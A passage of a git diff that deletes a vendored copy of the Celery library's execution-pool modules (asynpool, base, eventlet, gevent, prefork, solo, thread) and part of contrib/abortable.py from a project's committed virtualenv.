self._flush_writer(job_proc, gen) - - job.discard() - # workers may have exited in the meantime. - self.maintain_pool() - sleep(next(intervals)) # don't busyloop - finally: - self.outbound_buffer.clear() - self._active_writers.clear() - self._active_writes.clear() - self._busy_workers.clear() - - def _flush_writer(self, proc, writer): - fds = {proc.inq._writer} - try: - while fds: - if not proc._is_alive(): - break # process exited - readable, writable, again = _select( - writers=fds, err=fds, timeout=0.5, - ) - if not again and (writable or readable): - try: - next(writer) - except (StopIteration, OSError, EOFError): - break - finally: - self._active_writers.discard(writer) - - def get_process_queues(self): - """Get queues for a new process. - - Here we'll find an unused slot, as there should always - be one available when we start a new process. - """ - return next(q for q, owner in self._queues.items() - if owner is None) - - def on_grow(self, n): - """Grow the pool by ``n`` processes.""" - diff = max(self._processes - len(self._queues), 0) - if diff: - self._queues.update({ - self.create_process_queues(): None for _ in range(diff) - }) - - def on_shrink(self, n): - """Shrink the pool by ``n`` processes.""" - - def create_process_queues(self): - """Create new in, out, etc. queues, returned as a tuple.""" - # NOTE: Pipes must be set O_NONBLOCK at creation time (the original - # fd), otherwise it won't be possible to change the flags until - # there's an actual reader/writer on the other side. - inq = _SimpleQueue(wnonblock=True) - outq = _SimpleQueue(rnonblock=True) - synq = None - assert isblocking(inq._reader) - assert not isblocking(inq._writer) - assert not isblocking(outq._reader) - assert isblocking(outq._writer) - if self.synack: - synq = _SimpleQueue(wnonblock=True) - assert isblocking(synq._reader) - assert not isblocking(synq._writer) - return inq, outq, synq - - def on_process_alive(self, pid): - """Called when receiving the :const:`WORKER_UP` message. - - Marks the process as ready to receive work. - """ - try: - proc = next(w for w in self._pool if w.pid == pid) - except StopIteration: - return logger.warning('process with pid=%s already exited', pid) - assert proc.inqW_fd not in self._fileno_to_inq - assert proc.inqW_fd not in self._all_inqueues - self._waiting_to_start.discard(proc) - self._fileno_to_inq[proc.inqW_fd] = proc - self._fileno_to_synq[proc.synqW_fd] = proc - self._all_inqueues.add(proc.inqW_fd) - - def on_job_process_down(self, job, pid_gone): - """Called for each job when the process assigned to it exits.""" - if job._write_to and not job._write_to._is_alive(): - # job was partially written - self.on_partial_read(job, job._write_to) - elif job._scheduled_for and not job._scheduled_for._is_alive(): - # job was only scheduled to be written to this process, - # but no data was sent so put it back on the outbound_buffer. - self._put_back(job) - - def on_job_process_lost(self, job, pid, exitcode): - """Called when the process executing job' exits. - - This happens when the process job' - was assigned to exited by mysterious means (error exitcodes and - signals). - """ - self.mark_as_worker_lost(job, exitcode) - - def human_write_stats(self): - if self.write_stats is None: - return 'N/A' - vals = list(self.write_stats.values()) - total = sum(vals) - - def per(v, total): - return f'{(float(v) / total) if v else 0:.2f}' - - return { - 'total': total, - 'avg': per(total / len(self.write_stats) if total else 0, total), - 'all': ', '.join(per(v, total) for v in vals), - 'raw': ', '.join(map(str, vals)), - 'strategy': SCHED_STRATEGY_TO_NAME.get( - self.sched_strategy, self.sched_strategy, - ), - 'inqueues': { - 'total': len(self._all_inqueues), - 'active': len(self._active_writes), - } - } - - def _process_cleanup_queues(self, proc): - """Called to clean up queues after process exit.""" - if not proc.dead: - try: - self._queues[self._find_worker_queues(proc)] = None - except (KeyError, ValueError): - pass - - @staticmethod - def _stop_task_handler(task_handler): - """Called at shutdown to tell processes that we're shutting down.""" - for proc in task_handler.pool: - try: - setblocking(proc.inq._writer, 1) - except OSError: - pass - else: - try: - proc.inq.put(None) - except OSError as exc: - if exc.errno != errno.EBADF: - raise - - def create_result_handler(self): - return super().create_result_handler( - fileno_to_outq=self._fileno_to_outq, - on_process_alive=self.on_process_alive, - ) - - def _process_register_queues(self, proc, queues): - """Mark new ownership for ``queues`` to update fileno indices.""" - assert queues in self._queues - b = len(self._queues) - self._queues[queues] = proc - assert b == len(self._queues) - - def _find_worker_queues(self, proc): - """Find the queues owned by ``proc``.""" - try: - return next(q for q, owner in self._queues.items() - if owner == proc) - except StopIteration: - raise ValueError(proc) - - def _setup_queues(self): - # this is only used by the original pool that used a shared - # queue for all processes. - self._quick_put = None - - # these attributes are unused by this class, but we'll still - # have to initialize them for compatibility. - self._inqueue = self._outqueue = \ - self._quick_get = self._poll_result = None - - def process_flush_queues(self, proc): - """Flush all queues. - - Including the outbound buffer, so that - all tasks that haven't been started will be discarded. - - In Celery this is called whenever the transport connection is lost - (consumer restart), and when a process is terminated. - """ - resq = proc.outq._reader - on_state_change = self._result_handler.on_state_change - fds = {resq} - while fds and not resq.closed and self._state != TERMINATE: - readable, _, _ = _select(fds, None, fds, timeout=0.01) - if readable: - try: - task = resq.recv() - except (OSError, EOFError) as exc: - _errno = getattr(exc, 'errno', None) - if _errno == errno.EINTR: - continue - elif _errno == errno.EAGAIN: - break - elif _errno not in UNAVAIL: - debug('got %r while flushing process %r', - exc, proc, exc_info=1) - break - else: - if task is None: - debug('got sentinel while flushing process %r', proc) - break - else: - on_state_change(task) - else: - break - - def on_partial_read(self, job, proc): - """Called when a job was partially written to exited child.""" - # worker terminated by signal: - # we cannot reuse the sockets again, because we don't know if - # the process wrote/read anything from them, and if so we cannot - # restore the message boundaries. - if not job._accepted: - # job was not acked, so find another worker to send it to. - self._put_back(job) - writer = _get_job_writer(job) - if writer: - self._active_writers.discard(writer) - del writer - - if not proc.dead: - proc.dead = True - # Replace queues to avoid reuse - before = len(self._queues) - try: - queues = self._find_worker_queues(proc) - if self.destroy_queues(queues, proc): - self._queues[self.create_process_queues()] = None - except ValueError: - pass - assert len(self._queues) == before - - def destroy_queues(self, queues, proc): - """Destroy queues that can no longer be used. - - This way they can be replaced by new usable sockets. - """ - assert not proc._is_alive() - self._waiting_to_start.discard(proc) - removed = 1 - try: - self._queues.pop(queues) - except KeyError: - removed = 0 - try: - self.on_inqueue_close(queues[0]._writer.fileno(), proc) - except OSError: - pass - for queue in queues: - if queue: - for sock in (queue._reader, queue._writer): - if not sock.closed: - self.hub_remove(sock) - try: - sock.close() - except OSError: - pass - return removed - - def _create_payload(self, type_, args, - dumps=_pickle.dumps, pack=pack, - protocol=HIGHEST_PROTOCOL): - body = dumps((type_, args), protocol=protocol) - size = len(body) - header = pack('>I', size) - return header, body, size - - @classmethod - def _set_result_sentinel(cls, _outqueue, _pool): - # unused - pass - - def _help_stuff_finish_args(self): - # Pool._help_stuff_finished is a classmethod so we have to use this - # trick to modify the arguments passed to it. - return (self._pool,) - - @classmethod - def _help_stuff_finish(cls, pool): - # pylint: disable=arguments-differ - debug( - 'removing tasks from inqueue until task handler finished', - ) - fileno_to_proc = {} - inqR = set() - for w in pool: - try: - fd = w.inq._reader.fileno() - inqR.add(fd) - fileno_to_proc[fd] = w - except OSError: - pass - while inqR: - readable, _, again = _select(inqR, timeout=0.5) - if again: - continue - if not readable: - break - for fd in readable: - fileno_to_proc[fd].inq._reader.recv() - sleep(0) - - @property - def timers(self): - return {self.maintain_pool: 5.0} diff --git a/backend/venv/Lib/site-packages/celery/concurrency/base.py b/backend/venv/Lib/site-packages/celery/concurrency/base.py deleted file mode 100644 index 1ce9a751..00000000 --- a/backend/venv/Lib/site-packages/celery/concurrency/base.py +++ /dev/null @@ -1,180 +0,0 @@ -"""Base Execution Pool.""" -import logging -import os -import sys -import time -from typing import Any, Dict - -from billiard.einfo import ExceptionInfo -from billiard.exceptions import WorkerLostError -from kombu.utils.encoding import safe_repr - -from celery.exceptions import WorkerShutdown, WorkerTerminate, reraise -from celery.utils import timer2 -from celery.utils.log import get_logger -from celery.utils.text import truncate - -__all__ = ('BasePool', 'apply_target') - -logger = get_logger('celery.pool') - - -def apply_target(target, args=(), kwargs=None, callback=None, - accept_callback=None, pid=None, getpid=os.getpid, - propagate=(), monotonic=time.monotonic, **_): - """Apply function within pool context.""" - kwargs = {} if not kwargs else kwargs - if accept_callback: - accept_callback(pid or getpid(), monotonic()) - try: - ret = target(*args, **kwargs) - except propagate: - raise - except Exception: - raise - except (WorkerShutdown, WorkerTerminate): - raise - except BaseException as exc: - try: - reraise(WorkerLostError, WorkerLostError(repr(exc)), - sys.exc_info()[2]) - except WorkerLostError: - callback(ExceptionInfo()) - else: - callback(ret) - - -class BasePool: - """Task pool.""" - - RUN = 0x1 - CLOSE = 0x2 - TERMINATE = 0x3 - - Timer = timer2.Timer - - #: set to true if the pool can be shutdown from within - #: a signal handler. - signal_safe = True - - #: set to true if pool uses greenlets. - is_green = False - - _state = None - _pool = None - _does_debug = True - - #: only used by multiprocessing pool - uses_semaphore = False - - task_join_will_block = True - body_can_be_buffer = False - - def __init__(self, limit=None, putlocks=True, forking_enable=True, - callbacks_propagate=(), app=None, **options): - self.limit = limit - self.putlocks = putlocks - self.options = options - self.forking_enable = forking_enable - self.callbacks_propagate = callbacks_propagate - self.app = app - - def on_start(self): - pass - - def did_start_ok(self): - return True - - def flush(self): - pass - - def on_stop(self): - pass - - def register_with_event_loop(self, loop): - pass - - def on_apply(self, *args, **kwargs): - pass - - def on_terminate(self): - pass - - def on_soft_timeout(self, job): - pass - - def on_hard_timeout(self, job): - pass - - def maintain_pool(self, *args, **kwargs): - pass - - def terminate_job(self, pid, signal=None): - raise NotImplementedError( - f'{type(self)} does not implement kill_job') - - def restart(self): - raise NotImplementedError( - f'{type(self)} does not implement restart') - - def stop(self): - self.on_stop() - self._state = self.TERMINATE - - def terminate(self): - self._state = self.TERMINATE - self.on_terminate() - - def start(self): - self._does_debug = logger.isEnabledFor(logging.DEBUG) - self.on_start() - self._state = self.RUN - - def close(self): - self._state = self.CLOSE - self.on_close() - - def on_close(self): - pass - - def apply_async(self, target, args=None, kwargs=None, **options): - """Equivalent of the :func:`apply` built-in function. - - Callbacks should optimally return as soon as possible since - otherwise the thread which handles the result will get blocked. - """ - kwargs = {} if not kwargs else kwargs - args = [] if not args else args - if self._does_debug: - logger.debug('TaskPool: Apply %s (args:%s kwargs:%s)', - target, truncate(safe_repr(args), 1024), - truncate(safe_repr(kwargs), 1024)) - - return self.on_apply(target, args, kwargs, - waitforslot=self.putlocks, - callbacks_propagate=self.callbacks_propagate, - **options) - - def _get_info(self) -> Dict[str, Any]: - """ - Return configuration and statistics information. Subclasses should - augment the data as required. - - :return: The returned value must be JSON-friendly. - """ - return { - 'implementation': self.__class__.__module__ + ':' + self.__class__.__name__, - 'max-concurrency': self.limit, - } - - @property - def info(self): - return self._get_info() - - @property - def active(self): - return self._state == self.RUN - - @property - def num_processes(self): - return self.limit diff --git a/backend/venv/Lib/site-packages/celery/concurrency/eventlet.py b/backend/venv/Lib/site-packages/celery/concurrency/eventlet.py deleted file mode 100644 index f9c9da7f..00000000 --- a/backend/venv/Lib/site-packages/celery/concurrency/eventlet.py +++ /dev/null @@ -1,181 +0,0 @@ -"""Eventlet execution pool.""" -import sys -from time import monotonic - -from greenlet import GreenletExit -from kombu.asynchronous import timer as _timer - -from celery import signals - -from . import base - -__all__ = ('TaskPool',) - -W_RACE = """\ -Celery module with %s imported before eventlet patched\ -""" -RACE_MODS = ('billiard.', 'celery.', 'kombu.') - - -#: Warn if we couldn't patch early enough, -#: and thread/socket depending celery modules have already been loaded. -for mod in (mod for mod in sys.modules if mod.startswith(RACE_MODS)): - for side in ('thread', 'threading', 'socket'): # pragma: no cover - if getattr(mod, side, None): - import warnings - warnings.warn(RuntimeWarning(W_RACE % side)) - - -def apply_target(target, args=(), kwargs=None, callback=None, - accept_callback=None, getpid=None): - kwargs = {} if not kwargs else kwargs - return base.apply_target(target, args, kwargs, callback, accept_callback, - pid=getpid()) - - -class Timer(_timer.Timer): - """Eventlet Timer.""" - - def __init__(self, *args, **kwargs): - from eventlet.greenthread import spawn_after - from greenlet import GreenletExit - super().__init__(*args, **kwargs) - - self.GreenletExit = GreenletExit - self._spawn_after = spawn_after - self._queue = set() - - def _enter(self, eta, priority, entry, **kwargs): - secs = max(eta - monotonic(), 0) - g = self._spawn_after(secs, entry) - self._queue.add(g) - g.link(self._entry_exit, entry) - g.entry = entry - g.eta = eta - g.priority = priority - g.canceled = False - return g - - def _entry_exit(self, g, entry): - try: - try: - g.wait() - except self.GreenletExit: - entry.cancel() - g.canceled = True - finally: - self._queue.discard(g) - - def clear(self): - queue = self._queue - while queue: - try: - queue.pop().cancel() - except (KeyError, self.GreenletExit): - pass - - def cancel(self, tref): - try: - tref.cancel() - except self.GreenletExit: - pass - - @property - def queue(self): - return self._queue - - -class TaskPool(base.BasePool): - """Eventlet Task Pool.""" - - Timer = Timer - - signal_safe = False - is_green = True - task_join_will_block = False - _pool = None - _pool_map = None - _quick_put = None - - def __init__(self, *args, **kwargs): - from eventlet import greenthread - from eventlet.greenpool import GreenPool - self.Pool = GreenPool - self.getcurrent = greenthread.getcurrent - self.getpid = lambda: id(greenthread.getcurrent()) - self.spawn_n = greenthread.spawn_n - - super().__init__(*args, **kwargs) - - def on_start(self): - self._pool = self.Pool(self.limit) - self._pool_map = {} - signals.eventlet_pool_started.send(sender=self) - self._quick_put = self._pool.spawn - self._quick_apply_sig = signals.eventlet_pool_apply.send - - def on_stop(self): - signals.eventlet_pool_preshutdown.send(sender=self) - if self._pool is not None: - self._pool.waitall() - signals.eventlet_pool_postshutdown.send(sender=self) - - def on_apply(self, target, args=None, kwargs=None, callback=None, - accept_callback=None, **_): - target = TaskPool._make_killable_target(target) - self._quick_apply_sig(sender=self, target=target, args=args, kwargs=kwargs,) - greenlet = self._quick_put( - apply_target, - target, args, - kwargs, - callback, - accept_callback, - self.getpid - ) - self._add_to_pool_map(id(greenlet), greenlet) - - def grow(self, n=1): - limit = self.limit + n - self._pool.resize(limit) - self.limit = limit - - def shrink(self, n=1): - limit = self.limit - n - self._pool.resize(limit) - self.limit = limit - - def terminate_job(self, pid, signal=None): - if pid in self._pool_map.keys(): - greenlet = self._pool_map[pid] - greenlet.kill() - greenlet.wait() - - def _get_info(self): - info = super()._get_info() - info.update({ - 'max-concurrency': self.limit, - 'free-threads': self._pool.free(), - 'running-threads': self._pool.running(), - }) - return info - - @staticmethod - def _make_killable_target(target): - def killable_target(*args, **kwargs): - try: - return target(*args, **kwargs) - except GreenletExit: - return (False, None, None) - return killable_target - - def _add_to_pool_map(self, pid, greenlet): - self._pool_map[pid] = greenlet - greenlet.link( - TaskPool._cleanup_after_job_finish, - self._pool_map, - pid - ) - - @staticmethod - def _cleanup_after_job_finish(greenlet, pool_map, pid): - del pool_map[pid] diff --git a/backend/venv/Lib/site-packages/celery/concurrency/gevent.py b/backend/venv/Lib/site-packages/celery/concurrency/gevent.py deleted file mode 100644 index fd58e91b..00000000 --- a/backend/venv/Lib/site-packages/celery/concurrency/gevent.py +++ /dev/null @@ -1,171 +0,0 @@ -"""Gevent execution pool.""" -import functools -import types -from time import monotonic - -from kombu.asynchronous import timer as _timer - -from . import base - -try: - from gevent import Timeout -except ImportError: - Timeout = None - -__all__ = ('TaskPool',) - -# pylint: disable=redefined-outer-name -# We cache globals and attribute lookups, so disable this warning. - - -def apply_target(target, args=(), kwargs=None, callback=None, - accept_callback=None, getpid=None, **_): - kwargs = {} if not kwargs else kwargs - return base.apply_target(target, args, kwargs, callback, accept_callback, - pid=getpid(), **_) - - -def apply_timeout(target, args=(), kwargs=None, callback=None, - accept_callback=None, getpid=None, timeout=None, - timeout_callback=None, Timeout=Timeout, - apply_target=base.apply_target, **rest): - kwargs = {} if not kwargs else kwargs - try: - with Timeout(timeout): - return apply_target(target, args, kwargs, callback, - accept_callback, getpid(), - propagate=(Timeout,), **rest) - except Timeout: - return timeout_callback(False, timeout) - - -class Timer(_timer.Timer): - - def __init__(self, *args, **kwargs): - from gevent import Greenlet, GreenletExit - - class _Greenlet(Greenlet): - cancel = Greenlet.kill - - self._Greenlet = _Greenlet - self._GreenletExit = GreenletExit - super().__init__(*args, **kwargs) - self._queue = set() - - def _enter(self, eta, priority, entry, **kwargs): - secs = max(eta - monotonic(), 0) - g = self._Greenlet.spawn_later(secs, entry) - self._queue.add(g) - g.link(self._entry_exit) - g.entry = entry - g.eta = eta - g.priority = priority - g.canceled = False - return g - - def _entry_exit(self, g): - try: - g.kill() - finally: - self._queue.discard(g) - - def clear(self): - queue = self._queue - while queue: - try: - queue.pop().kill() - except KeyError: - pass - - @property - def queue(self): - return self._queue - - -class TaskPool(base.BasePool): - """GEvent Pool.""" - - Timer = Timer - - signal_safe = False - is_green = True - task_join_will_block = False - _pool = None - _pool_map = None - _quick_put = None - - def __init__(self, *args, **kwargs): - from gevent import getcurrent, spawn_raw - from gevent.pool import Pool - self.Pool = Pool - self.getcurrent = getcurrent - self.getpid = lambda: id(getcurrent()) - self.spawn_n = spawn_raw - self.timeout = kwargs.get('timeout') - super().__init__(*args, **kwargs) - - def on_start(self): - self._pool = self.Pool(self.limit) - self._pool_map = {} - self._quick_put = self._pool.spawn - - def on_stop(self): - if self._pool is not None: - self._pool.join() - - def on_apply(self, target, args=None, kwargs=None, callback=None, - accept_callback=None, timeout=None, - timeout_callback=None, apply_target=apply_target, **_): - timeout = self.timeout if timeout is None else timeout - target = self._make_killable_target(target) - greenlet = self._quick_put(apply_timeout if timeout else apply_target, - target, args, kwargs, callback, accept_callback, - self.getpid, timeout=timeout, timeout_callback=timeout_callback) - self._add_to_pool_map(id(greenlet), greenlet) - greenlet.terminate = types.MethodType(_terminate, greenlet) - return greenlet - - def grow(self, n=1): - self._pool._semaphore.counter += n - self._pool.size += n - - def shrink(self, n=1): - self._pool._semaphore.counter -= n - self._pool.size -= n - - def terminate_job(self, pid, signal=None): - import gevent - - if pid in self._pool_map: - greenlet = self._pool_map[pid] - gevent.kill(greenlet) - - @property - def num_processes(self): - return len(self._pool) - - @staticmethod - def _make_killable_target(target): - def killable_target(*args, **kwargs): - from greenlet import GreenletExit - try: - return target(*args, **kwargs) - except GreenletExit: - return (False, None, None) - - return killable_target - - def _add_to_pool_map(self, pid, greenlet): - self._pool_map[pid] = greenlet - greenlet.link( - functools.partial(self._cleanup_after_job_finish, pid=pid, pool_map=self._pool_map), - ) - - @staticmethod - def _cleanup_after_job_finish(greenlet, pool_map, pid): - del pool_map[pid] - - -def _terminate(self, signal): - # Done in `TaskPool.terminate_job` - pass diff --git a/backend/venv/Lib/site-packages/celery/concurrency/prefork.py b/backend/venv/Lib/site-packages/celery/concurrency/prefork.py deleted file mode 100644 index b163328d..00000000 --- a/backend/venv/Lib/site-packages/celery/concurrency/prefork.py +++ /dev/null @@ -1,172 +0,0 @@ -"""Prefork execution pool. - -Pool implementation using :mod:`multiprocessing`. -""" -import os - -from billiard import forking_enable -from billiard.common import REMAP_SIGTERM, TERM_SIGNAME -from billiard.pool import CLOSE, RUN -from billiard.pool import Pool as BlockingPool - -from celery import platforms, signals -from celery._state import _set_task_join_will_block, set_default_app -from celery.app import trace -from celery.concurrency.base import BasePool -from celery.utils.functional import noop -from celery.utils.log import get_logger - -from .asynpool import AsynPool - -__all__ = ('TaskPool', 'process_initializer', 'process_destructor') - -#: List of signals to reset when a child process starts. -WORKER_SIGRESET = { - 'SIGTERM', 'SIGHUP', 'SIGTTIN', 'SIGTTOU', 'SIGUSR1', -} - -#: List of signals to ignore when a child process starts. -if REMAP_SIGTERM: - WORKER_SIGIGNORE = {'SIGINT', TERM_SIGNAME} -else: - WORKER_SIGIGNORE = {'SIGINT'} - -logger = get_logger(__name__) -warning, debug = logger.warning, logger.debug - - -def process_initializer(app, hostname): - """Pool child process initializer. - - Initialize the child pool process to ensure the correct - app instance is used and things like logging works. - """ - # Each running worker gets SIGKILL by OS when main process exits. - platforms.set_pdeathsig('SIGKILL') - _set_task_join_will_block(True) - platforms.signals.reset(*WORKER_SIGRESET) - platforms.signals.ignore(*WORKER_SIGIGNORE) - platforms.set_mp_process_title('celeryd', hostname=hostname) - # This is for Windows and other platforms not supporting - # fork(). Note that init_worker makes sure it's only - # run once per process. - app.loader.init_worker() - app.loader.init_worker_process() - logfile = os.environ.get('CELERY_LOG_FILE') or None - if logfile and '%i' in logfile.lower(): - # logfile path will differ so need to set up logging again. - app.log.already_setup = False - app.log.setup(int(os.environ.get('CELERY_LOG_LEVEL', 0) or 0), - logfile, - bool(os.environ.get('CELERY_LOG_REDIRECT', False)), - str(os.environ.get('CELERY_LOG_REDIRECT_LEVEL')), - hostname=hostname) - if os.environ.get('FORKED_BY_MULTIPROCESSING'): - # pool did execv after fork - trace.setup_worker_optimizations(app, hostname) - else: - app.set_current() - set_default_app(app) - app.finalize() - trace._tasks = app._tasks # enables fast_trace_task optimization. - # rebuild execution handler for all tasks. - from celery.app.trace import build_tracer - for name, task in app.tasks.items(): - task.__trace__ = build_tracer(name, task, app.loader, hostname, - app=app) - from celery.worker import state as worker_state - worker_state.reset_state() - signals.worker_process_init.send(sender=None) - - -def process_destructor(pid, exitcode): - """Pool child process destructor. - - Dispatch the :signal:`worker_process_shutdown` signal. - """ - signals.worker_process_shutdown.send( - sender=None, pid=pid, exitcode=exitcode, - ) - - -class TaskPool(BasePool): - """Multiprocessing Pool implementation.""" - - Pool = AsynPool - BlockingPool = BlockingPool - - uses_semaphore = True - write_stats = None - - def on_start(self): - forking_enable(self.forking_enable) - Pool = (self.BlockingPool if self.options.get('threads', True) - else self.Pool) - proc_alive_timeout = ( - self.app.conf.worker_proc_alive_timeout if self.app - else None - ) - P = self._pool = Pool(processes=self.limit, - initializer=process_initializer, - on_process_exit=process_destructor, - enable_timeouts=True, - synack=False, - proc_alive_timeout=proc_alive_timeout, - **self.options) - - # Create proxy methods - self.on_apply = P.apply_async - self.maintain_pool = P.maintain_pool - self.terminate_job = P.terminate_job - self.grow = P.grow - self.shrink = P.shrink - self.flush = getattr(P, 'flush', None) # FIXME add to billiard - - def restart(self): - self._pool.restart() - self._pool.apply_async(noop) - - def did_start_ok(self): - return self._pool.did_start_ok() - - def register_with_event_loop(self, loop): - try: - reg = self._pool.register_with_event_loop - except AttributeError: - return - return reg(loop) - - def on_stop(self): - """Gracefully stop the pool.""" - if self._pool is not None and self._pool._state in (RUN, CLOSE): - self._pool.close() - self._pool.join() - self._pool = None - - def on_terminate(self): - """Force terminate the pool.""" - if self._pool is not None: - self._pool.terminate() - self._pool = None - - def on_close(self): - if self._pool is not None and self._pool._state == RUN: - self._pool.close() - - def _get_info(self): - write_stats = getattr(self._pool, 'human_write_stats', None) - info = super()._get_info() - info.update({ - 'max-concurrency': self.limit, - 'processes': [p.pid for p in self._pool._pool], - 'max-tasks-per-child': self._pool._maxtasksperchild or 'N/A', - 'put-guarded-by-semaphore': self.putlocks, - 'timeouts': (self._pool.soft_timeout or 0, - self._pool.timeout or 0), - 'writes': write_stats() if write_stats is not None else 'N/A', - }) - return info - - @property - def num_processes(self): - return self._pool._processes diff --git a/backend/venv/Lib/site-packages/celery/concurrency/solo.py b/backend/venv/Lib/site-packages/celery/concurrency/solo.py deleted file mode 100644 index e7e9c7f3..00000000 --- a/backend/venv/Lib/site-packages/celery/concurrency/solo.py +++ /dev/null @@ -1,31 +0,0 @@ -"""Single-threaded execution pool.""" -import os - -from celery import signals - -from .base import BasePool, apply_target - -__all__ = ('TaskPool',) - - -class TaskPool(BasePool): - """Solo task pool (blocking, inline, fast).""" - - body_can_be_buffer = True - - def __init__(self, *args, **kwargs): - super().__init__(*args, **kwargs) - self.on_apply = apply_target - self.limit = 1 - signals.worker_process_init.send(sender=None) - - def _get_info(self): - info = super()._get_info() - info.update({ - 'max-concurrency': 1, - 'processes': [os.getpid()], - 'max-tasks-per-child': None, - 'put-guarded-by-semaphore': True, - 'timeouts': (), - }) - return info diff --git a/backend/venv/Lib/site-packages/celery/concurrency/thread.py b/backend/venv/Lib/site-packages/celery/concurrency/thread.py deleted file mode 100644 index bcc7c116..00000000 --- a/backend/venv/Lib/site-packages/celery/concurrency/thread.py +++ /dev/null @@ -1,64 +0,0 @@ -"""Thread execution pool.""" -from __future__ import annotations - -from concurrent.futures import Future, ThreadPoolExecutor, wait -from typing import TYPE_CHECKING, Any, Callable - -from .base import BasePool, apply_target - -__all__ = ('TaskPool',) - -if TYPE_CHECKING: - from typing import TypedDict - - PoolInfo = TypedDict('PoolInfo', {'max-concurrency': int, 'threads': int}) - - # `TargetFunction` should be a Protocol that represents fast_trace_task and - # trace_task_ret. - TargetFunction = Callable[..., Any] - - -class ApplyResult: - def __init__(self, future: Future) -> None: - self.f = future - self.get = self.f.result - - def wait(self, timeout: float | None = None) -> None: - wait([self.f], timeout) - - -class TaskPool(BasePool): - """Thread Task Pool.""" - limit: int - - body_can_be_buffer = True - signal_safe = False - - def __init__(self, *args: Any, **kwargs: Any) -> None: - super().__init__(*args, **kwargs) - self.executor = ThreadPoolExecutor(max_workers=self.limit) - - def on_stop(self) -> None: - self.executor.shutdown() - super().on_stop() - - def on_apply( - self, - target: TargetFunction, - args: tuple[Any, ...] | None = None, - kwargs: dict[str, Any] | None = None, - callback: Callable[..., Any] | None = None, - accept_callback: Callable[..., Any] | None = None, - **_: Any - ) -> ApplyResult: - f = self.executor.submit(apply_target, target, args, kwargs, - callback, accept_callback) - return ApplyResult(f) - - def _get_info(self) -> PoolInfo: - info = super()._get_info() - info.update({ - 'max-concurrency': self.limit, - 'threads': len(self.executor._threads) - }) - return info diff --git a/backend/venv/Lib/site-packages/celery/contrib/__init__.py b/backend/venv/Lib/site-packages/celery/contrib/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/celery/contrib/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/contrib/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index a3c25650..00000000 Binary files a/backend/venv/Lib/site-packages/celery/contrib/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/contrib/__pycache__/abortable.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/contrib/__pycache__/abortable.cpython-311.pyc deleted file mode 100644 index 418d5dad..00000000 Binary files a/backend/venv/Lib/site-packages/celery/contrib/__pycache__/abortable.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/contrib/__pycache__/migrate.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/contrib/__pycache__/migrate.cpython-311.pyc deleted file mode 100644 index bf722617..00000000 Binary files a/backend/venv/Lib/site-packages/celery/contrib/__pycache__/migrate.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/contrib/__pycache__/pytest.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/contrib/__pycache__/pytest.cpython-311.pyc deleted file mode 100644 index 3ccd4ac1..00000000 Binary files a/backend/venv/Lib/site-packages/celery/contrib/__pycache__/pytest.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/contrib/__pycache__/rdb.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/contrib/__pycache__/rdb.cpython-311.pyc deleted file mode 100644 index 7a8b6078..00000000 Binary files a/backend/venv/Lib/site-packages/celery/contrib/__pycache__/rdb.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/contrib/__pycache__/sphinx.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/contrib/__pycache__/sphinx.cpython-311.pyc deleted file mode 100644 index 4b19af72..00000000 Binary files a/backend/venv/Lib/site-packages/celery/contrib/__pycache__/sphinx.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/contrib/abortable.py b/backend/venv/Lib/site-packages/celery/contrib/abortable.py deleted file mode 100644 index 8cb164d7..00000000 --- a/backend/venv/Lib/site-packages/celery/contrib/abortable.py +++ /dev/null @@ -1,165 +0,0 @@ -"""Abortable Tasks. - -Abortable tasks overview -========================= - -For long-running :class:`Task`'s, it can be desirable to support -aborting during execution. Of course, these tasks should be built to -support abortion specifically. - -The :class:`AbortableTask` serves as a base class for all :class:`Task` -objects that should support abortion by producers. - -* Producers may invoke the :meth:`abort` method on - :class:`AbortableAsyncResult` instances, to request abortion. - -* Consumers (workers) should periodically check (and honor!) the - :meth:`is_aborted` method at controlled points in their task's - :meth:`run` method. The more often, the better. - -The necessary intermediate communication is dealt with by the -:class:`AbortableTask` implementation. - -Usage example -------------- - -In the consumer: - -.. code-block:: python - - from celery.contrib.abortable import AbortableTask - from celery.utils.log import get_task_logger - - from proj.celery import app - - logger = get_logger(__name__) - - @app.task(bind=True, base=AbortableTask) - def long_running_task(self): - results = [] - for i in range(100): - # check after every 5 iterations... - # (or alternatively, check when some timer is due) - if not i % 5: - if self.is_aborted(): - # respect aborted state, and terminate gracefully. - logger.warning('Task aborted') - return - value = do_something_expensive(i) - results.append(y) - logger.info('Task complete') - return results - -In the producer: - -.. code-block:: python - - import time - - from proj.tasks import MyLongRunningTask - - def myview(request): - # result is of type AbortableAsyncResult - result = long_running_task.delay() - - # abort the task after 10 seconds - time.sleep(10) - result.abort() - -After the `result.abort()` call, the task execution isn't -aborted immediately. In fact, it's not guaranteed to abort at all. -Keep checking `result.state` status, or call `result.get(timeout=)` to -have it block until the task is finished. - -.. note:: - - In order to abort tasks, there needs to be communication between the - producer and the consumer. This is currently implemented through the - database backend. Therefore, this class will only work with the - database backends. -""" -from celery import Task -from celery.result import AsyncResult - -__all__ = ('AbortableAsyncResult', 'AbortableTask') - - -""" -Task States ------------ - -.. state:: ABORTED - -ABORTED -~~~~~~~ - -Task is aborted (typically by the producer) and should be -aborted as soon as possible. - -""" -ABORTED = 'ABORTED' - - -class AbortableAsyncResult(AsyncResult): - """Represents an abortable result. - - Specifically, this gives the `AsyncResult` a :meth:`abort()` method, - that sets the state of the underlying Task to `'ABORTED'`. - """ - - def is_aborted(self): - """Return :const:`True` if the task is (being) aborted.""" - return self.state == ABORTED - - def abort(self): - """Set the state of the task to :const:`ABORTED`. - - Abortable tasks monitor their state at regular intervals and - terminate execution if so. - - Warning: - Be aware that invoking this method does not guarantee when the - task will be aborted (or 